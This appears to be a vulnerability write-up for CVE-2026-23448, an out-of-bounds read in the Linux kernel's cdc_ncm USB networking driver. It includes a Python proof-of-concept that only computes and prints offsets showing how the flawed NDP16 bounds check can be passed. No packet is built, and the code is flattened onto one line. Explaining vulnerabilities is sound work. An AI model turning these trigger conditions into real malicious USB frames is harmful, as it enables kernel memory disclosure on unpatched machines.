CVE-2026-23448：Linux内核cdc_ncm越界读取漏洞

import struct # Proof of Concept for CVE-2026-23448 # This script demonstrates the logic to construct a malicious NTB packet # that triggers the out-of-bounds read in cdc_ncm_rx_verify_ndp16. def create_malicious_ntb_logic(): # Simulate the buffer size (skb_in->len) total_buffer_size = 400 # Structure sizes based on Linux kernel definitions # struct usb_cdc_ncm_ndp16 size is 8 bytes ndp_header_size = 8 # struct usb_cdc_ncm_dpe16 size is 4 bytes dpe_size = 4 # Scenario: Place NDP (NDP16) near the end of the buffer (large wNdpIndex) # We want to trick the second bounds check. # Flawed check: (sizeof(ndp16) + nframes * sizeof(dpe16)) <= skb_in->len # Real condition: (ndpoffset + sizeof(ndp16) + nframes * sizeof(dpe16)) > skb_in->len # Let's set ndpoffset to 390 (near the end of 400 byte buffer) ndpoffset = 390 # Let's try to fit 5 DPE entries (20 bytes) nframes = 5 # Calculate the size the flawed check sees flawed_check_size = ndp_header_size + (nframes * dpe_size) # Calculate the actual end offset of the data actual_end_offset = ndpoffset + ndp_header_size + (nframes * dpe_size) print(f"[*] Total Buffer Size: {total_buffer_size}") print(f"[*] NDP Offset: {ndpoffset}") print(f"[*] Number of Frames (DPE): {nframes}") print(f"[*] Flawed Check Size: {flawed_check_size} (<= {total_buffer_size} -> Check Passes)") print(f"[*] Actual End Offset: {actual_end_offset} (> {total_buffer_size} -> Out-of-Bounds Read)") if actual_end_offset > total_buffer_size and flawed_check_size <= total_buffer_size: print("[+] Successfully generated logic to trigger CVE-2026-23448") else: print("[-] Failed to trigger condition with current parameters") if __name__ == "__main__": create_malicious_ntb_logic()